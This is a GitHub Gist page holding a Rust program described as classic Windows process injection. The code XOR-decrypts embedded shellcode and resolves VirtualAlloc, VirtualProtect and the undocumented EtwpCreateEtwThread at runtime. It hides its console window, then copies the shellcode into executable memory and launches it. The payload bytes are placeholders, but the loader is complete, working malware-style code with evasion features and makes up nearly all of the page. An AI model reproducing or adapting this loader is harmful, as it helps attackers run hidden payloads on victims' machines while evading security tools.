Created
October 13, 2020 21:44
-
-
Save Nexact/a67f5eefa47eb6e01983694b5f6dd154 to your computer and use it in GitHub Desktop.
Classic Windows process injection written in Rust using EtwpCreateEtwThread & a XOR routine to decrypt shellcode.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#![windows_subsystem = "windows"] | |
extern crate libc; | |
use std::os::raw::{c_void, c_int}; | |
use std::{ptr, thread, time}; | |
#[link(name = "kernel32")] | |
#[link(name = "user32")] | |
extern "stdcall" { | |
pub fn LoadLibraryA(lpFileName: *const u8) -> *const usize; | |
pub fn GetProcAddress(hModule: *const usize, lpProcName: *const u8) -> *const usize; | |
} | |
// Some typedef | |
type LPVOID = *mut c_void; | |
type PVOID = *mut c_void; | |
type VOID = c_void; | |
type SIZE_T = usize; | |
type DWORD = u32; | |
type PDWORD = *mut DWORD; | |
type BOOL = c_int; | |
type intptr_t = isize; | |
type FnEtwpCreateEtwThread = extern "stdcall" fn(*const i32, *const i32) -> intptr_t; | |
type FnVirtualAlloc = extern "stdcall" fn(lpAddress: LPVOID, dwSize: SIZE_T, flAllocationType: DWORD, flProtect: DWORD) -> LPVOID; | |
type FnRtlCopyMemory = extern "stdcall" fn(Destination: PVOID, Source: *const VOID, Length: SIZE_T); | |
type FnVirtualProtect = extern "stdcall" fn(lpAddress: LPVOID, dwSize: SIZE_T, flNewProtect: DWORD, lpflOldProtect: PDWORD) -> BOOL; | |
type FnGetConsoleWindow = extern "stdcall" fn() -> intptr_t; | |
type FnShowWindow = extern "stdcall" fn(hWnd: intptr_t, nCmdShow: c_int) -> BOOL; | |
// Winapi constant | |
pub const MEM_RESERVE: DWORD = 0x2000; | |
pub const MEM_COMMIT: DWORD = 0x1000; | |
pub const PAGE_READWRITE: DWORD = 0x04; | |
pub const PAGE_EXECUTE_READ: DWORD = 0x20; | |
fn main() { | |
// Our shellcode | |
let shellcode_encrypted = b"\x00\x00..."; | |
let size = shellcode_encrypted.len(); | |
let key = b"\x77\x77\x77\x77..."; | |
// Xor shellcode | |
let shellcode: Vec<u8> = shellcode_encrypted.iter().enumerate().map(|(i, c)| c ^ key[i % key.len()]).collect(); | |
// Load functions from ntdll.dll | |
const KERNEL32_DLL: &'static [u8] = b"kernel32\0"; | |
const NTDLL_DLL: &'static [u8] = b"ntdll\0"; | |
const USER32_DLL: &'static [u8] = b"user32\0"; | |
const VIRTUALALLOC: &'static [u8] = b"VirtualAlloc\0"; | |
const RTLCOPYMEMORY: &'static [u8] = b"RtlCopyMemory\0"; | |
const VIRTUALPROTECT: &'static [u8] = b"VirtualProtect\0"; | |
const ETWPCREATEETWTHREAD: &'static [u8] = b"EtwpCreateEtwThread\0"; | |
const GETCONSOLEWINDOW: &'static [u8] = b"GetConsoleWindow\0"; | |
const SHOWWINDOW: &'static [u8] = b"ShowWindow\0"; | |
unsafe { | |
// Dynamically load function with GetProcAddress | |
let module_kernel32 = LoadLibraryA(KERNEL32_DLL.as_ptr() as *const u8); | |
let module_ntdll = LoadLibraryA(NTDLL_DLL.as_ptr() as *const u8); | |
let module_user32 = LoadLibraryA(USER32_DLL.as_ptr() as *const u8); | |
let h_virtualalloc = GetProcAddress(module_kernel32, VIRTUALALLOC.as_ptr() as *const u8); | |
let h_rtlcopymemory = GetProcAddress(module_kernel32, RTLCOPYMEMORY.as_ptr() as *const u8); | |
let h_virtualprotect = GetProcAddress(module_kernel32, VIRTUALPROTECT.as_ptr() as *const u8); | |
let h_etwpcreateetwthread = GetProcAddress(module_ntdll, ETWPCREATEETWTHREAD.as_ptr() as *const u8); | |
let h_getconsolewindow = GetProcAddress(module_kernel32, GETCONSOLEWINDOW.as_ptr() as *const u8); | |
let h_showwindow = GetProcAddress(module_user32, SHOWWINDOW.as_ptr() as *const u8); | |
// Prepare function | |
let VirtualAlloc = std::mem::transmute::<*const usize, FnVirtualAlloc>(h_virtualalloc); | |
let RtlCopyMemory = std::mem::transmute::<*const usize, FnRtlCopyMemory>(h_rtlcopymemory); | |
let VirtualProtect = std::mem::transmute::<*const usize, FnVirtualProtect>(h_virtualprotect); | |
let EtwpCreateEtwThread = std::mem::transmute::<*const usize, FnEtwpCreateEtwThread>(h_etwpcreateetwthread); | |
let GetConsoleWindow = std::mem::transmute::<*const usize, FnGetConsoleWindow>(h_getconsolewindow); | |
let ShowWindow = std::mem::transmute::<*const usize, FnShowWindow>(h_showwindow); | |
// Hide Windows | |
let window = GetConsoleWindow(); | |
ShowWindow(window, 0); | |
// Alloc space and write shellcode | |
let addr = VirtualAlloc(ptr::null_mut(), size as usize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); | |
RtlCopyMemory(addr, shellcode.as_ptr() as *mut _, size); | |
// Change memory page protection | |
let mut old_protect: DWORD = PAGE_READWRITE; | |
VirtualProtect(addr as *mut c_void, size as usize, PAGE_EXECUTE_READ, &mut old_protect); | |
// Launch shellcode! | |
EtwpCreateEtwThread(addr as *mut i32,ptr::null()); | |
} | |
// Loop eternally... | |
loop { | |
thread::sleep(time::Duration::from_secs(5)); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment